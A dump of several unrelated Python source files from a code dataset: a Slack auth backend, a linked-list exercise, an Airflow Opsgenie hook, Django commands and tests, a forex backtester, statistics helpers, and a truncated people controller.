*args, **kwargs):\n \"\"\"Loads user data from service\"\"\"\n # Has to be two calls, because the users.info requires a username,\n # And we want the team information\n # https://api.slack.com/methods/auth.test\n auth_test = self.get_json('https://slack.com/api/auth.test', params={\n 'token': access_token\n })\n\n # https://api.slack.com/methods/users.info\n data = self.get_json('https://slack.com/api/users.info', params={\n 'token': access_token,\n 'user': auth_test.get('user_id')\n })\n # Inject the team data\n out = data['user'].copy()\n out['team_id'] = auth_test.get('team_id')\n out['team'] = auth_test.get('team')\n out['team_url'] = auth_test.get('url')\n return out\n","sub_path":"social/backends/slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"288432018","text":"class Node:\n def __init__(self, initdata):\n self.data = initdata\n self.next = None\n \n def getData(self):\n return self.data\n \n def getNext(self):\n return self.next\n \n def setData(self, data):\n self.data = data\n \n def setNext(self, next):\n self.next = next\n\nclass UnorderedList:\n def __init__(self):\n self.head = None\n \n def isEmpty(self):\n return self.head == None\n \n def add(self, item):\n temp = Node(item)\n temp.setNext(self.head)\n self.head = temp\n \n def length(self):\n current = self.head\n count = 0\n while current != None:\n count = count + 1\n current = current.getNext()\n return count\n \n def search(self, item):\n current = self.head\n found = False\n while current != None and not found:\n if current.getData() == item:\n found = True\n else:\n current = current.getNext()\n return found\n \n def remove(self, item):\n previous = None\n current = self.head\n remove = False\n while not remove:\n if current.getData() == item:\n remove = True\n else:\n previous = current\n current = current.getNext()\n if remove:\n if previous is None:\n self.head = current.getNext()\n else:\n previous.setNext(current.getNext())\n return remove\n \n def append(self, item):\n current = self.head\n if current is None:\n self.head = Node(item)\n else:\n while current.getNext() != None:\n current = current.getNext()\n current.setNext(Node(item))\n \n def insert(self, index, item):\n current = self.head\n if current is None:\n self.head = Node(item)\n else:\n listLength = self.length()\n if index > listLength:\n self.append(item)\n else:\n i = 1\n while i < index - 1:\n current = current.getNext()\n i = i + 1\n nextNode = current.getNext()\n current.setNext(Node(item))\n current.getNext().setNext(nextNode)\n \n def index(self, index):\n current = self.head\n listLength = self.length()\n if index > listLength:\n return None\n else:\n i = 1\n while i < index:\n current = current.getNext()\n i = i + 1\n return current.getData()\n \n def pop(self):\n current = self.head\n if current != None:\n self.head = current.getNext()\n return current.getData()\n\n def showList(self):\n current = self.head\n while current != None:\n print(current.getData())\n current = current.getNext()\n\nulist = UnorderedList()\nulist.append(10)\nulist.append(12)\nulist.append(4)\nulist.append(11)\n\nulist.remove(4)\n\nulist.insert(6, 4)\nulist.showList()\nprint(ulist.index(3))\n","sub_path":"数据结构与算法/unorderedlist.py","file_name":"unorderedlist.py","file_ext":"py","file_size_in_byte":3154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"109695944","text":"# uncompyle6 version 3.6.7\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.macosx-10.7-x86_64/egg/airflow/contrib/hooks/opsgenie_alert_hook.py\n# Compiled at: 2019-09-11 03:47:34\n# Size of source mod 2**32: 3202 bytes\nimport json, requests\nfrom airflow.hooks.http_hook import HttpHook\nfrom airflow import AirflowException\n\nclass OpsgenieAlertHook(HttpHook):\n \"\"\"OpsgenieAlertHook\"\"\"\n\n def __init__(self, opsgenie_conn_id='opsgenie_default', *args, **kwargs):\n (super(OpsgenieAlertHook, self).__init__)(args, http_conn_id=opsgenie_conn_id, **kwargs)\n\n def _get_api_key(self):\n \"\"\"\n Get Opsgenie api_key for creating alert\n \"\"\"\n conn = self.get_connection(self.http_conn_id)\n api_key = conn.password\n if not api_key:\n raise AirflowException('Opsgenie API Key is required for this hook, please check your conn_id configuration.')\n return api_key\n\n def get_conn(self, headers=None):\n \"\"\"\n Overwrite HttpHook get_conn because this hook just needs base_url\n and headers, and does not need generic params\n\n :param headers: additional headers to be passed through as a dictionary\n :type headers: dict\n \"\"\"\n conn = self.get_connection(self.http_conn_id)\n self.base_url = conn.host if conn.host else 'https://api.opsgenie.com'\n session = requests.Session()\n if headers:\n session.headers.update(headers)\n return session\n\n def execute(self, payload={}):\n \"\"\"\n Execute the Opsgenie Alert call\n\n :param payload: Opsgenie API Create Alert payload values\n See https://docs.opsgenie.com/docs/alert-api#section-create-alert\n :type payload: dict\n \"\"\"\n api_key = self._get_api_key()\n return self.run(endpoint='v2/alerts', data=(json.dumps(payload)),\n headers={'Content-Type':'application/json', \n 'Authorization':'GenieKey %s' % api_key})","sub_path":"pycfiles/apache_ariatosca-0.2.0-py2-none-any/opsgenie_alert_hook.cpython-36.py","file_name":"opsgenie_alert_hook.cpython-36.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"450882184","text":"from django.test import TestCase\nfrom ..mqtt import getClient\nfrom django.utils.timezone import now\nfrom Sensor.models import Sensor, SensorData\nfrom Testutil.Setup import SetupEmbeddedNode, SetupSensor\nimport time\n\n\nclass testDataPipe(TestCase):\n\n @classmethod\n def setUpTestData(cls):\n cls.MQTTClient = getClient()\n cls.MQTTClient.loop_stop()\n cls.MQTTClient.loop_start()\n\n @classmethod\n def tearDownClass(cls):\n client = getClient()\n client.loop_stop()\n\n def setUp(self):\n SetupEmbeddedNode()\n SetupSensor()\n\n def testSingleton(self):\n \"\"\"\n 测试MQtt对象单例类特性\n :return:\n \"\"\"\n client = getClient()\n self.assertEqual(client, self.MQTTClient)\n\n def testMQttDataUpload(self):\n \"\"\"\n 测试传感器数据上行\n :return:\n \"\"\"\n sensorObj = Sensor.objects.all().first() # type:Sensor\n payload = {\n \"type\": \"sensor\",\n \"UUID\": sensorObj.Node.UUID,\n \"payload\": {\n \"timestamp\": now().isoformat(),\n \"value\": \"-1\",\n \"sensorId\": sensorObj.SensorID\n }\n }\n\n for i in range(0, 5):\n self.MQTTClient.publish('testHome/data', payload=payload.__str__().replace(\"'\", '\"'))\n\n time.sleep(0.5)\n\n self.assertEqual(SensorData.objects.all().count(), 0)\n","sub_path":"src/DataPipe/TestUtil/testDatapipe.py","file_name":"testDatapipe.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"212810413","text":"# how to backtest:\n# how to provide data\n\nfrom Authenticate import Auth\nfrom find_signals import find_signal\nfrom order_execution import manage_position\nfrom utility_funcs import build_df\nfrom sklearn import preprocessing\nfrom sklearn.externals import joblib\nfrom keras.models import load_model\nimport oandapyV20.endpoints.instruments as instruments\nimport oandapyV20\nimport numpy as np\nimport argparse\nimport os\nimport logging\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\nformatter = logging.Formatter('%(levelname)s - %(message)s')\ndef setup_logger(name, log_file, level=logging.INFO):\n\n handler = logging.FileHandler(log_file) \n handler.setFormatter(formatter)\n\n logger = logging.getLogger(name)\n logger.setLevel(level)\n logger.addHandler(handler)\n\n return logger\n\n# general process logger\nlogger = setup_logger('first_logger', 'back_test.log')\n\n# -----------------------------------------------------------------------------\n# class Test\n# store information for backtesting and provide relative functions\n# class test should be replacable for Account and Trade\n# -----------------------------------------------------------------------------\nclass Test():\n\t\n\t# initialization and class variables\n\t# -------------------------------------------------------------------------\n\tdef __init__(self):\n\t\tself.account_ID, self.access_token = Auth()\n\t\tself.client = oandapyV20.API(access_token=self.access_token)\n\t\t\n\t\t# set of currency pairs we are interested in\n\t\tself.pair_list = ['EUR_USD', 'EUR_GBP', 'USD_CHF', 'GBP_USD', 'USD_JPY', \n\t\t\t\t\t\t'AUD_USD', 'USD_CAD', 'EUR_JPY', 'EUR_NZD', 'USD_HKD', 'EUR_SGD', \n\t\t\t\t\t\t'AUD_CAD', 'AUD_CHF', 'AUD_NZD', 'CAD_CHF', 'CAD_JPY', 'CHF_JPY', \n\t\t\t\t\t\t'EUR_AUD', 'EUR_CAD', 'EUR_CHF', 'GBP_HKD', 'GBP_JPY', 'USD_DKK',\n\t\t\t\t\t\t'USD_THB', 'EUR_CZK']\n\n\t\t# load ml models and scalers to make predictions\n\t\tself.H4_BR_model = load_model('H4_DNN_Breakout')\n\t\tself.H1_BR_model = load_model('H1_DNN_Breakout')\n\t\tself.H4_SELL_model = load_model('H4_SELL_OPT')\n\t\tself.H1_SELL_model = load_model('H1_SELL_OPT')\n\t\tself.H4_BR_scaler = joblib.load('H4_BR_scaler.save')\n\t\tself.H1_BR_scaler = joblib.load('H1_BR_scaler.save')\n\t\tself.H4_SELL_scaler = joblib.load('H4_SELL_scaler.save')\n\t\tself.H1_SELL_scaler = joblib.load('H1_SELL_scaler.save')\n\n\t\t# position and trade information\n\t\tself.open_positions = {} # keep track of open positions\n\t\tself.prediction = {}\n\t\tself.trades = {} # more specific to trade values\n\t\tself.stops = {} # stop price for given order ID\n\t\tself.waiting = {}\n\t\tself.ml_waiting = {}\n\t\tself.ml_data = {} # ml data for all orders, contains label if order ended in profit\n\t\tself.waiting_len = 0\n\t\tself.stopped = 0\n\t\tself.mv_stopped = 0\n\t\tself.obv_slope = np.array([])\n\n\t\tself.trade_count = 0 # the current number of trades open\n\t\tself.total_trades = 0 # the total number of trades made\n\t\tself.last_ID = 0\n\t\tself.max_trade_count = 15\n\t\tself.balance = 10000\n\t\tself.min_balance_reached = 10000\n\t\tself.low = 0\n\t\tself.losing_tades = {}\n\t\tself.worst_trade = {}\n\t\tself.worst_trade[0] = '', '', ''\n\t\t\n\t\t# find optimized leverage\n\t\tself.lev_range = {}\n\t\tself.lev_range[\"H4\"] = .04, .065\n\t\tself.lev_range[\"H1\"] = .03, .055\n\t\tself.avg_lev = 0\n\t\tself.lev_boost = 0.06\n\t\tself.margin = 10000\n\t\tself.realized_profit = 0\n\n\t\t# data information\n\t\tself.lookBack = 730\n\t\tself.data = {}\n\t\tself.begin = {}\n\t\tself.end = {}\n\t\tself.init_interval()\n\n\t\n\t# class methods\n\t# -------------------------------------------------------------------------\n\tdef init_interval(self):\n\t\tfor frame in [\"H1\", \"H4\", \"D\"]:\n\t\t\tself.begin[frame] = 0\n\t\t\tself.end[frame] = 60\n\n\t# change the way we get data in order to get more candles\n\t# use from/to notation\n\tdef api_data(self, frame):\n\t\tcount = 0\n\n\t\tif frame==\"H1\":\n\t\t\tcount = self.lookBack*24\n\t\telif frame==\"H4\":\n\t\t\tcount = self.lookBack*6\n\t\telif frame==\"D\":\n\t\t\tcount = self.lookBack\n\n\t\tparams = {\n\t \"count\": count, \n\t \"granularity\": frame}\n\n\t\tfor pair in self.pair_list:\n\t\t\tr = instruments.InstrumentsCandles(instrument=pair, params=params)\n\t\t\tself.client.request(r) # request data\n\n\t\t\ttime, vol, op, high, low, close = build_df(r)\n\t\t\tself.data[pair] = close, low, high, op, vol, time # hashtable with key=pair, val=candle data\n\n\tdef api_date_range_data(self, frame):\n\n\t\tTime = np.array([])\n\t\tVol = np.array([])\n\t\tOpin = np.array([])\n\t\tHigh = np.array([])\n\t\tLow = np.array([])\n\t\tClose = np.array([])\n\n\t\tprint(\"< retrieving data, this may take a minute\")\n\t\tfor pair in self.pair_list:\n\t\t\tyear = 2017\n\t\t\tmonth = -1\n\t\t\tdat = '01T00'\n\t\t\tfor date_range in range(0, 12):\n\n\t\t\t\tif month == 12: \n\t\t\t\t\tmonth = 2\n\t\t\t\t\tyear += 1\n\t\t\t\telif month == 11:\n\t\t\t\t\tmonth = 1\n\t\t\t\t\tyear += 1\n\t\t\t\telse: \n\t\t\t\t\tmonth += 2\n\n\t\t\t\tdate_begin = str(year)+'-'+str(month)+'-'+dat # our start date\n\n\t\t\t\tparams = {\n\t\t\t\t\t\"from\": date_begin,\n\t\t\t\t\t\"count\": 360,\n\t\t\t\t\t\"granularity\": frame}\n\n\t\t\t\tr = instruments.InstrumentsCandles(instrument=pair, params=params)\n\t\t\t\tself.client.request(r)\n\n\t\t\t\ttime, vol, op, high, low, close = build_df(r)\n\t\t\t\tTime = np.append(Time, time)\n\t\t\t\tVol = np.append(Vol, vol)\n\t\t\t\tOpin = np.append(Opin, op)\n\t\t\t\tHigh = np.append(High, high)\n\t\t\t\tLow = np.append(Low, low)\n\t\t\t\tClose = np.append(Close, close)\n\n\t\t\tself.data[pair] = Close, Low, High, Opin, Vol, Time\n\t\tprint(\"< complete\")\n\t\n\t# interacts with find_signals\n\tdef get_data(self, frame, pair):\n\t\tclose, low, high, op, vol, time = self.data[pair]\n\t\tif self.end[frame] >= len(vol)-1: #specific to D, need to change\n\t\t\tempty = np.array([])\n\t\t\treturn empty, empty, empty, empty, empty, empty\n\n\t\t# cant slice candles data\n\t\ttime_ = time[self.begin[frame]:self.end[frame]]\n\t\tvol_ = vol[self.begin[frame]:self.end[frame]]\n\t\topen_ = op[self.begin[frame]:self.end[frame]]\n\t\thigh_ = high[self.begin[frame]:self.end[frame]]\n\t\tlow_ = low[self.begin[frame]:self.end[frame]]\n\t\tclose_ = close[self.begin[frame]:self.end[frame]]\n\n\t\treturn time_, vol_, open_, high_, low_, close_\n\n\tdef update_data(self, frame):\n\t\tself.begin[frame] += 1\n\t\tself.end[frame] += 1\n\n\tdef set_age(self, ID, delta):\n\t\tpair, frame, rg, age = self.open_positions[ID]\n\n\t\tself.open_positions[ID] = pair, frame, rg, (age + delta)\n\n\t# intacts with manage_positions\n\t# return hashtable of open positions\n\tdef openPositions(self):\n\t\treturn self.open_positions\n\n\tdef possible_trade(self, pair, frame, prediction, rg, o_slope, p_slope, obv, cycle, lev):\n\t\twaiting_str = pair+\",\"+frame\n\t\tself.waiting[waiting_str] = [0, pair, frame, prediction, rg, lev]\n\t\tself.waiting_len += 1\n\n\tdef Waiting(self):\n\t\treturn self.waiting\n\n\t# interacts with find_signals\n\tdef getBalance(self):\n\t\treturn self.margin\n\n\t# interacts with find_signals\n\t# see if we already have the trade\n\tdef can_trade(self, Account, pair, frame):\n\t\ttrade_count = self.trade_count\n\t\tif trade_count >= self.max_trade_count:\n\t\t\treturn False\n\n\t\tpositions = self.openPositions()\n\t\tfor ID in positions:\n\t\t\topen_pair, open_frame, rg, age = positions[ID]\n\t\t\t\n\t\t\topen_pair = open_pair.strip()\n\t\t\topen_frame = open_frame.strip()\n\t\t\tpair = pair.strip()\n\t\t\tframe = frame.strip()\n\n\t\t\tif open_pair==pair and open_frame==frame:\n\t\t\t\treturn False\n\t\treturn True\n\n\tdef end_waiting(self, w_str):\n\t\tdel self.waiting[w_str]\n\t\t#del self.ml_waiting[w_str]\n\n\t# set the buy price of pair: trades[ID] = currprice, units\n\t# set the stop price for pair: stops[pair] = stop_price\n\t# set open_positions[pair] = ID, frame: generate ID, last_ID+1\n\t# update balance\n\tdef stop_loss_trade(self, Account, units, pair, stop_price, frame, last_price, rg):\n\t\tID = self.last_ID + 1\n\t\tself.last_ID += 1\n\n\t\tself.trades[ID] = last_price, units\n\t\tself.open_positions[ID] = pair, frame, rg, 0\n\t\tself.prediction[ID] = 1\n\t\tself.stops[ID] = stop_price\n\t\tself.trade_count += 1\n\t\tself.total_trades += 1\n\n\t\ttime, vol, op, high, low, close = self.get_data(frame, pair)\n\t\tif close[-1] != last_price:\n\t\t\tprint(close[-1], \" -- \", last_price)\n\t\t\tprint(\"ERROR\")\n\t\t\texit()\n\n\t\tprint(\"< BUY ORDER:------------------------------------------------\")\n\t\tprint(\"< trade placed at\", time[-1])\n\t\tprint(\"< pair:\", pair, \" -- frame:\", frame)\n\t\tprint(\"< order price:\", last_price)\n\t\tprint(\"< stop_price:\", stop_price)\n\t\tprint(\"------------------------------------------------------------\")\n\n\t\tself.margin = (self.balance - (units*last_price)/50)\n\n\t# manage all stop losses\n\tdef manage_stops(self):\n\t\tfor ID in list(self.open_positions):\n\t\t\tpair, frame, rg, age = self.open_positions[ID]\n\t\t\tstop_p = self.stops[ID]\n\t\t\tend_interval = self.end[frame]-1\n\t\t\tclose, low, high, op, vol, time = self.data[pair]\n\t\t\tcurr_p = close[end_interval]\n\n\t\t\tif curr_p <= stop_p:\n\t\t\t\tself.close_position(self, ID, curr_p)\n\t\t\t\tself.stopped += 1\n\n\t# interacts with manage_positions\n\t# add to realized profit by calling update profit\n\t# delete positions[pair], trades[pair], stops[pair]\n\tdef close_position(self, Account, ID, last_price):\n\t\t\n\t\tpair, frame, rg, age = self.open_positions[ID]\n\t\ttime, vol, op, high, low, close = self.get_data(frame, pair)\n\n\t\tif last_price != close[-1]:\n\t\t\tprint(\"ERROR---------------------------\")\n\n\t\tb_price, units = self.trades[ID]\n\t\tval1 = b_price*units\n\t\tval2 = last_price*units\n\n\t\tself.realized_profit += (val2-val1) # add to profit, could be negative\n\t\tself.trade_count -= 1\n\t\tself.balance += (val2-val1)\n\t\tself.margin = self.balance\n\t\tself.mv_stopped += 1\n\n\t\tif self.balance < self.min_balance_reached:\n\t\t\tself.min_balance_reached = self.balance\n\t\t\tself.low = self.total_trades\n\n\t\tif (val2-val1) < 0:\n\t\t\tself.losing_tades[ID] = time[-1], pair, frame\n\n\t\tprint(\"< CLOSE ORDER:----------------------------------------------\")\n\t\tprint(\"< order placed at\", time[-1])\n\t\tprint(\"< pair:\", pair, \" -- frame:\", frame)\n\t\tprint(\"< close price:\", last_price)\n\t\tprint(\"------------------------------------------------------------\")\n\n\t\tdel self.trades[ID]\n\t\tdel self.open_positions[ID]\n\t\tdel self.prediction[ID]\n\t\tdel self.stops[ID]\n\n\tdef init_write(self):\n\t\topen('sell_time.csv', 'w').close()\n\t\twith open('sell_time.csv', 'a') as f_writer:\n\t\t\t\n\t\t\tln = \"ID,rg,h,l,c1,c2,c3,supp,o_s,p_s,obv1,obv2,obv3,rsi1,rsi2,rsi3,natr,cyc,stF,stS,rsi,obv,natrF,alF, alS,fC\\n\"\n\t\t\tf_writer.write(ln)\n\t\t\tf_writer.close()\n\t\n\tdef write_data(self, ID, data):\n\t\twith open('sell_time.csv', 'a') as f_writer:\n\t\t\t\n\t\t\tln = str(ID) + \",\"\n\t\t\tfor item in data:\n\t\t\t\tif item == data[-1]:\n\t\t\t\t\tln += str(item) + \"\\n\"\n\t\t\t\telse:\n\t\t\t\t\tln += str(item) + \",\"\n\n\t\t\tf_writer.write(ln)\n\t\t\tf_writer.close()\n\n\t# print account summary\n\tdef account_summary(self):\n\t\tprint(\"\\nTotal trades:\", self.total_trades)\n\t\tprint(\"Realized profit:\", self.realized_profit)\n\t\tprint(\"Account value:\", self.balance)\n\t\tif self.total_trades == 0:\n\t\t\tprint(\"Trade num to profit ratio: 0\")\n\t\telse:\n\t\t\tprint(\"Trade num to profit ratio:\", self.realized_profit/self.total_trades)\n\t\tprint(\"Return %:\", (self.realized_profit/10000)*100)\n\t\t\n\t\tprint(\"Open positions:\", self.trade_count)\n\t\tpos_val = 0\n\t\tfor ID in list(self.open_positions):\n\t\t\t#print(\"open position\")\n\t\t\tpair, frame, rg, age = self.open_positions[ID]\n\t\t\tclose, low, high, op, vol, time = self.data[pair]\n\t\t\tlast_price = close[-1]\n\n\t\t\tb_price, units = self.trades[ID]\n\t\t\t#print(\"buy price:\", b_price, \" | last price: \", last_price)\n\t\t\tval1 = b_price*units\n\t\t\tval2 = last_price*units\n\t\t\tpos_val += (val2-val1)\n\n\t\tprint(\"Position value:\", pos_val)\n\t\tprint(\"Stopped trades:\", self.stopped)\n\t\tprint(\"Closed trades:\", self.mv_stopped)\n\t\tprint(\"Number of possible trades:\", self.waiting_len)\n\t\tprint(\"Min account balance:\", self.min_balance_reached)\n\t\tprint(\"Reached after\", self.low, \"trades\")\n\t\tprint(\"Negative trade count:\", len(self.losing_tades))\n\t\t#print(\"average leverage:\", self.avg_lev / self.total_trades)\n\t\tprint(\"Negative trades:\")\n\t\tfor ID in self.losing_tades:\n\t\t\ttime, pair, frame = self.losing_tades[ID]\n\t\t\tprint(pair, \"-\", frame, \" at \", time)\n\n\n\n\n# -----------------------------------------------------------------------------\n# program execution starts\n# look for buy and selling signals then sleep \n# -----------------------------------------------------------------------------\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser(description='backtest')\n\tparser.add_argument('--frame', required=True, dest=\"frame\", metavar='NAME', \n\t\thelp='Which chart time to test: H1; H4; D')\n\n\targs = parser.parse_args() \n\tchart_time = args.frame\n\n\tTEST = Test() # get an instance of the test class\n\n\tprint(\"/////////////////////////////////////////////////////////////////////////\")\n\tprint(\"// initializing backtesting program\")\n\tprint(\"// look back is\", TEST.lookBack, \"days\")\n\tprint(\"/////////////////////////////////////////////////////////////////////////\\n\")\n\n\tTEST.init_write()\n\n\tif chart_time == \"H1\":\n\t\t# run backtest for highest frequency chart time\n\t\tprint(\"< running backtest on H1 candles\")\n\t\tTEST.api_data(\"H1\") # update the price data \n\t\tlength = (TEST.lookBack*24 - 60) # hourly candles * 24 to get day\n\t\tfor itr in range(0, length):\n\t\t\tfind_signal(TEST, TEST, \"H1\") # pass frame as parameter\n\t\t\tTEST.manage_stops()\n\t\t\tmanage_position(TEST, TEST, logger)\n\t\t\tTEST.update_data(\"H1\")\n\n\t\tprint(\"< backtest complete, print account summary:\")\n\t\tprint(\"-------------------------------------------------------------------------\")\n\t\tTEST.account_summary()\n\n\telif chart_time == \"H4\":\n\t\t# run backtsest for medium frequency chart time\n\t\tprint(\"< running backtest on H4 candles\")\n\t\tTEST.api_data(\"H4\") # update the price data\n\t\tlength = (TEST.lookBack*6 - 60) # 4 hour candles * 6 to get day\n\t\tprint(\"< number of candles:\", length, \"\\n\")\n\t\tfor itr in range(0, length):\n\t\t\tfind_signal(TEST, TEST, \"H4\") # pass frame as parameter\n\t\t\tTEST.manage_stops()\n\t\t\tmanage_position(TEST, TEST, logger)\n\t\t\tTEST.update_data(\"H4\")\n\n\t\tprint(\"< backtest complete, print account summary:\")\n\t\tprint(\"-------------------------------------------------------------------------\")\n\t\tTEST.account_summary()\n\n\telif chart_time == \"D\":\n\t\t# run backtest for lowest frequency chart time\n\t\tprint(\"< running backtest on D candles\")\n\t\tTEST.api_data(\"D\") # update the price data\n\t\tlength = (TEST.lookBack - 60) # daily candles\n\t\tfor itr in range(0, length):\n\t\t\tfind_signal(TEST, TEST, \"D\") # pass frame as parameter\n\t\t\tTEST.manage_stops()\n\t\t\tmanage_position(TEST, TEST)\n\t\t\tTEST.update_data(\"D\")\n\n\t\tprint(\"< backtest complete, print account summary:\")\n\t\tprint(\"-------------------------------------------------------------------------\")\n\t\tTEST.account_summary()\n\n\n\n\n\n\n\n\n","sub_path":"currency_trading/back_test.py","file_name":"back_test.py","file_ext":"py","file_size_in_byte":14431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"496712188","text":"# -*- coding: utf-8 -*-\nfrom django.core.management.base import BaseCommand, CommandError\nfrom olist.models import Category, Channel\n\nclass Command(BaseCommand):\n help = \"Imports categories\"\n\n def add_arguments(self, parser):\n parser.add_argument('arguments', nargs='+', type=str)\n\n\n def handle(self, *args, **options):\n if len(options['arguments']) == 2:\n channel_name = options['arguments'][0]\n filename = options['arguments'][1]\n self.import_categories(channel_name, filename)\n \n\n def import_categories(self, channel_name, filename):\n \"\"\"\n Import categories to the database.\n\n Args:\n channel_name (str): The name of the channel that owns the categories.\n filename (str): Path to the file containing the categories to be imported.\n \"\"\"\n \n channel, channel_created = Channel.objects.get_or_create(name=channel_name)\n \n if channel_created:\n print(\"Channel {0} created.\".format(channel_name))\n else:\n print(\"Channel {0} updated.\".format(channel_name))\n\n file = open(filename, 'r').readlines()\n \n for row in file:\n categories = row.strip().split('/')\n parent = None\n\n for category in categories:\n category_obj, category_created = Category.objects.get_or_create(name=category.strip(), channel=channel, parent=parent)\n\n if category_created:\n if parent is None:\n print(\"Category {0} created.\".format(category.strip()))\n else: \n print(\"Category {0}->{1} created.\".format(parent.name, category.strip()))\n else:\n if parent is None:\n print(\"Category {0} updated.\".format(category.strip()))\n else: print(\"Category {0}->{1} updated.\".format(parent.name, category.strip()))\n\n parent = category_obj\n \n","sub_path":"work-at-olist/olist/management/commands/importcategories.py","file_name":"importcategories.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"417044525","text":"from name_function import get_formated_name\n\n\ndef main():\n print(\"Enter 'q' for any time to quit\\n\")\n while True:\n first_name = input(\"Enter first name: \")\n if first_name == \"q\":\n break\n last_name = input(\"Enter last name: \")\n if last_name == \"q\":\n break\n print(get_formated_name(first_name, last_name))\n\n\nif __name__ == \"__main__\":\n main()\n ","sub_path":"python tasks/testing/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"304153612","text":"from unittest import TestCase\n\nimport numpy as np\nimport pandas as pd\nimport pycr\nfrom scipy import stats\n\n\nclass test_pcr_ttest(TestCase):\n def test_pcr_ttest(self):\n ct1 = pd.read_csv('pycr/ct1.csv')\n group = np.repeat(['brain', 'kidney'], 6)\n\n d = pycr.pcr_ttest(ct1, group, 'GAPDH', 'brain')\n self.assertIs(d.empty, False)\n self.assertEqual(d.shape, (1, 3))\n\nclass test_pcr_wilcoxon(TestCase):\n def test_pcr_wilcoxon(self):\n ct1 = pd.read_csv('pycr/ct1.csv')\n group = np.repeat(['brain', 'kidney'], 6)\n\n d = pycr.pcr_wilcoxon(ct1, group, 'GAPDH', 'brain')\n self.assertIs(d.empty, False)\n self.assertEqual(d.shape, (1, 3))\n","sub_path":"pycr/tests/test_testing.py","file_name":"test_testing.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"423381501","text":"import numpy as np\r\nfrom misc import grouping\r\n#ungrouped mean\r\ndef no_freq_mean(X):\r\n np.mean(X)\r\n \r\n# mean when frequency given\r\ndef freq_mean(X,freq): \r\n XF = X*freq\r\n mean = np.sum(XF)/np.sum(freq)\r\n info = {'freq':freq,'mean':mean,\"XF\":XF}\r\n return info\r\n\r\n#shortcut mean\r\ndef range_mean(X,freq,A =None):\r\n if A== None: A = np.median(X)\r\n D =X - A\r\n FD = D * freq\r\n mean = float(A)+float(np.sum(FD))/np.sum(freq)\r\n info = {'A':A,'freq':freq,'D':D,'FD':FD,'mean':mean}\r\n return info\r\n\r\n#weighted mean\r\ndef weighted_mean(X,weights):\r\n WX = X * weights\r\n mean = np.sum(WX)/np.sum(weights)\r\n info = {'weights':weights,'mean':mean,\"WX\":WX}\r\n return info\r\n\r\n#step deviation\r\ndef step_deviation(X,freq,A = None):\r\n if A== None: A = np.median(X) \r\n h = X[1]-X[0]\r\n U = (X - A)/h\r\n FU_fr = freq*U\r\n sum_FU = np.sum(FU_fr)\r\n sum_freq= np.sum(freq)\r\n mean = A + h * sum_FU/sum_freq\r\n info = {'X':X,'F':freq,'A':A,'U = (X - A)/h':U,'F*U':FU_fr,'mean':mean}\r\n return info ","sub_path":"mean.py","file_name":"mean.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"261498447","text":"from domain.NABException import NABException\nfrom domain.Person import Person\nfrom repository.PersonRepository import PersonRepository\nfrom repository.PersonFileRepository import PersonFileRepository\nfrom controller.ChangeHistory import *\nfrom copy import deepcopy\n\n\nclass PeopleController:\n \"\"\"\n Class used for handling the operations regarding people.\n \"\"\"\n\n def __init__(self, personRepo):\n '''\n Constructor for the class PeopleController.\n :param personRepo: PersonRepository - repository containing people\n :exception NABException: if one of the parameters is not valid\n '''\n\n if not isinstance(personRepo, PersonRepository):\n raise NABException(\"The given repository of people is not valid.\")\n\n self.__personRepo = personRepo\n self.__operations = []\n self.__index = -1\n\n\n def number_of_people(self):\n '''\n Returns the numbers of people in the list.\n :return: natural number representing the number of people in the list\n '''\n\n return len(self.__personRepo)\n\n\n def add_person(self, person):\n '''\n Adds a person to the NAB.\n :param person: Person - person to be added to the NAB\n :return: person is added to the NAB\n :exception NABException: if one of the parameters is not valid or a person with that id already exists\n '''\n\n self.__personRepo.add(person)\n\n self.__operations[:] = self.__operations[:self.__index+1]\n self.__operations.append(AddOperation(deepcopy(person)))\n self.__index += 1\n\n\n def remove_person_by_id(self, id):\n '''\n Removes the person with the indicated ID from the list and their afferent activities.\n :param id: positive integer - ID of a person\n :return: the person with the indicated ID is removed as well as their afferent activities\n :exception NABException: if one of the parameters is not valid or no person with the given ID was found\n '''\n\n person = self.__personRepo.remove_by_id(id)\n\n self.__operations[:] = self.__operations[:self.__index+1]\n self.__operations.append(RemoveOperation(deepcopy(person)))\n self.__index += 1\n\n\n def update_person_name(self, person, name):\n '''\n Updates name of a person.\n :param person: Person to be updated\n :param name: new name for that person\n :return: person is updated\n :exception NABException: if one of the parameters is not valid or no person was found\n '''\n\n if person not in self.__personRepo:\n raise NABException(\"There's no such person in the list.\")\n\n oldPerson = deepcopy(person)\n person.name = name\n newPerson = deepcopy(person)\n\n self.__operations[:] = self.__operations[:self.__index+1]\n self.__operations.append(UpdateOperation(oldPerson, newPerson))\n self.__index += 1\n\n\n def update_person_phone(self, person, phone):\n '''\n Updates phone of a person.\n :param person: Person to be updated\n :param phone: new phone for that person\n :return: person is updated\n :exception NABException: if one of the parameters is not valid or no person was found\n '''\n\n if person not in self.__personRepo:\n raise NABException(\"There's no such person in the list.\")\n\n oldPerson = deepcopy(person)\n person.phone = phone\n newPerson = deepcopy(person)\n\n self.__operations[:] = 